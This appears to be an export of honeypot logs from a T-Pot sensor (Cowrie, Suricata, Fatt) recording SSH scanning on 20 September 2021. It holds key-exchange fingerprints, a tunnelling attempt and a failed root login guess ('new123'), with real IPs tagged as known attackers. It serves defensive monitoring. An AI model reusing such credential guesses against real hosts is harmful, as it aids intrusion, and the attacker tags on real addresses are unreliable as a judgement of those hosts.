"1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "222.187.232.60", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "ade4b39ff8de", "@version": "1", "timestamp": "2021-09-20T11:34:52.649498Z", "@timestamp": "2021-09-20T11:34:52.649Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30441	222.187.232.60	109.199.241.180	Suricata	2021-09-20 14:34:52.64889+03	2021-09-20 14:45:03.008142+03	{"_id": "bAb8AnwBvYTbRNuExzwO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:34:52.118869+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1209}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "222.187.232.60", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "222.187.232.60", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 933644048584789, "payload": "AAADVAUUjWi+FO5kB31Kmx7NCZGSEwAAALdlY2RoLXNoYTItbmlzdHAyNTYsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDUyMSxkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAABLZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAABaKsMTMQ==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47685, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:34:52.648890Z", "@timestamp": "2021-09-20T11:34:52.648Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T...h...d.}J...........ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...Kecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com....none....none.............Z*..1"}}	1	\N	\N	alert	known attacker	\N
30442	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:34:52.387078+03	2021-09-20 14:45:03.010143+03	{"_id": "bQb8AnwBvYTbRNuEyDwZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "222.187.232.60", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47685, "timestamp": "2021-09-20T11:34:52.387078", "@timestamp": "2021-09-20T11:34:52.387Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30443	8.20.123.149	109.199.241.180	Cowrie	2021-09-20 14:35:06.23842+03	2021-09-20 14:45:03.011143+03	{"_id": "lAb8AnwBvYTbRNuE_DwW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"id": 2, "data": "b'\\\\x16\\\\x03\\\\x01\\\\x00\\\\xba\\\\x01\\\\x00\\\\x00\\\\xb6\\\\x03\\\\x03\\\\x12\\\\xf6e+\\\\xd1\\\\xcb\\\\xa2\\\\xd3\\\\xef{\\\\x98pa\\\\xd8`\\\\xce\\\\xe1\\\\xa0#Fpk\\\\xe6\\\\x19\\\\xe2\\\\xa8z\\\\x18e\\\\x8b\\\\xb3:\\\\x00\\\\x00\\\\x1e\\\\xc0+\\\\xc0/\\\\xcc\\\\xa9\\\\xcc\\\\xa8\\\\xc0,\\\\xc00\\\\xc0\\\\n\\\\xc0\\\\t\\\\xc0\\\\x13\\\\xc0\\\\x14\\\\x003\\\\x009\\\\x00/\\\\x005\\\\x00\\\\n\\\\x01\\\\x00\\\\x00o\\\\x00\\\\x00\\\\x00\\\\x13\\\\x00\\\\x11\\\\x00\\\\x00\\\\x0etsyndicate.com\\\\x00\\\\x17\\\\x00\\\\x00\\\\xff\\\\x01\\\\x00\\\\x01\\\\x00\\\\x00\\\\n\\\\x00\\\\n\\\\x00\\\\x08\\\\x00\\\\x1d\\\\x00\\\\x17\\\\x00\\\\x18\\\\x00\\\\x19\\\\x00\\\\x0b\\\\x00\\\\x02\\\\x01\\\\x00\\\\x00#\\\\x00\\\\x00\\\\x00\\\\x10\\\\x00\\\\x0e\\\\x00\\\\x0c\\\\x02h2\\\\x08http/1.1\\\\x00\\\\x05\\\\x00\\\\x05\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\r\\\\x00\\\\x18\\\\x00\\\\x16\\\\x04\\\\x03\\\\x05\\\\x03\\\\x06\\\\x03\\\\x08\\\\x04\\\\x08\\\\x05\\\\x08\\\\x06\\\\x04\\\\x01\\\\x05\\\\x01\\\\x06\\\\x01\\\\x02\\\\x03\\\\x02\\\\x01'", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.20.123.149", "dest_ip": "213.174.157.83", "eventid": "cowrie.direct-tcpip.data", "message": "discarded direct-tcp forward request 2 to 213.174.157.83:443 with data b'\\\\x16\\\\x03\\\\x01\\\\x00\\\\xba\\\\x01\\\\x00\\\\x00\\\\xb6\\\\x03\\\\x03\\\\x12\\\\xf6e+\\\\xd1\\\\xcb\\\\xa2\\\\xd3\\\\xef{\\\\x98pa\\\\xd8`\\\\xce\\\\xe1\\\\xa0#Fpk\\\\xe6\\\\x19\\\\xe2\\\\xa8z\\\\x18e\\\\x8b\\\\xb3:\\\\x00\\\\x00\\\\x1e\\\\xc0+\\\\xc0/\\\\xcc\\\\xa9\\\\xcc\\\\xa8\\\\xc0,\\\\xc00\\\\xc0\\\\n\\\\xc0\\\\t\\\\xc0\\\\x13\\\\xc0\\\\x14\\\\x003\\\\x009\\\\x00/\\\\x005\\\\x00\\\\n\\\\x01\\\\x00\\\\x00o\\\\x00\\\\x00\\\\x00\\\\x13\\\\x00\\\\x11\\\\x00\\\\x00\\\\x0etsyndicate.com\\\\x00\\\\x17\\\\x00\\\\x00\\\\xff\\\\x01\\\\x00\\\\x01\\\\x00\\\\x00\\\\n\\\\x00\\\\n\\\\x00\\\\x08\\\\x00\\\\x1d\\\\x00\\\\x17\\\\x00\\\\x18\\\\x00\\\\x19\\\\x00\\\\x0b\\\\x00\\\\x02\\\\x01\\\\x00\\\\x00#\\\\x00\\\\x00\\\\x00\\\\x10\\\\x00\\\\x0e\\\\x00\\\\x0c\\\\x02h2\\\\x08http/1.1\\\\x00\\\\x05\\\\x00\\\\x05\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\r\\\\x00\\\\x18\\\\x00\\\\x16\\\\x04\\\\x03\\\\x05\\\\x03\\\\x06\\\\x03\\\\x08\\\\x04\\\\x08\\\\x05\\\\x08\\\\x06\\\\x04\\\\x01\\\\x05\\\\x01\\\\x06\\\\x01\\\\x02\\\\x03\\\\x02\\\\x01'", "session": "5844e5d6f1e2", "@version": "1", "dest_port": 443, "timestamp": "2021-09-20T11:35:06.238420Z", "@timestamp": "2021-09-20T11:35:06.238Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.data	\N	\N	\N
30444	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:35:07.24652+03	2021-09-20 14:45:03.013141+03	{"_id": "nQb8AnwBvYTbRNuE_zz_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh-0.6.3'", "session": "1c990e26a281", "version": "b'SSH-2.0-libssh-0.6.3'", "@version": "1", "timestamp": "2021-09-20T11:35:07.246520Z", "@timestamp": "2021-09-20T11:35:07.246Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30445	128.199.123.0	109.199.241.180	Fatt	2021-09-20 14:35:07.418271+03	2021-09-20 14:45:03.014141+03	{"_id": "oQb9AnwBvYTbRNuEAjy4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "51cba57125523ce4b9db67714a90bf6e", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "ceastc": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "client": "SSH-2.0-libssh-0.6.3", "cmacts": "hmac-sha1", "cmastc": "hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}, "protocol": "ssh", "src_port": 50604, "dest_port": 22, "timestamp": "2021-09-20T11:35:07.418271", "@timestamp": "2021-09-20T11:35:07.418Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30446	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:35:08.213447+03	2021-09-20 14:45:03.026143+03	{"_id": "ogb9AnwBvYTbRNuEAzzo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.login.failed", "message": "login attempt [root/new123] failed", "session": "1c990e26a281", "@version": "1", "password": "new123", "username": "root", "timestamp": "2021-09-20T11:35:08.213447Z", "@timestamp": "2021-09-20T11:35:08.213Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30447	222.187.232.60	109.199.241.180	Cowrie	2021-09-20 14:34:53.790302+03	2021-09-20 14:45:03.027141+03	{"_id": "cgb8AnwBvYTbRNuEzTwu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "222.187.232.60", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "222.187.232.60", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "ade4b39ff8de", "@version": "1", "duration": 1.4048879146575928, "timestamp": "2021-09-20T11:34:53.790302Z", "@timestamp": "2021-09-20T11:34:53.790Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30448	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:34:58.975324+03	2021-09-20 14:45:03.030142+03	{"_id": "dQb8AnwBvYTbRNuE3zyM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.117.219.217", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57772, "timestamp": "2021-09-20T11:34:58.975324", "@timestamp": "2021-09-20T11:34:58.975Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30449	1.117.219.217	109.199.241.180	Fatt	2021-09-20 14:34:58.979073+03	2021-09-20 14:45:03.032142+03	{"_id": "dAb8AnwBvYTbRNuE3zyM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 57772, "dest_port": 22, "timestamp": "2021-09-20T11:34:58.979073", "@timestamp": "2021-09-20T11:34:58.979Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30450	8.20.123.149	109.199.241.180	Cowrie	2021-09-20 14:35:05.728898+03	2021-09-20 14:45:03.047141+03	{"_id": "kwb8AnwBvYTbRNuE_DwW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.20.123.149", "dest_ip": "213.174.157.83", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to 213.174.157.83:443 from 127.0.0.1:63478", "session": "5844e5d6f1e2", "@version": "1", "src_port": 63478, "dest_port": 443, "timestamp": "2021-09-20T11:35:05.728898Z", "@timestamp": "2021-09-20T11:35:05.728Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
30451	119.29.153.168	109.199.241.180	Suricata	2021-09-20 14:35:20.688246+03	2021-09-20 14:45:03.063141+03	{"_id": "ygb9AnwBvYTbRNuENDx7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:35:20.130030+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "119.29.153.168", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1309127271316462, "payload": "AAADzAYUX7eaPe50iRfSj0yN57clRwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab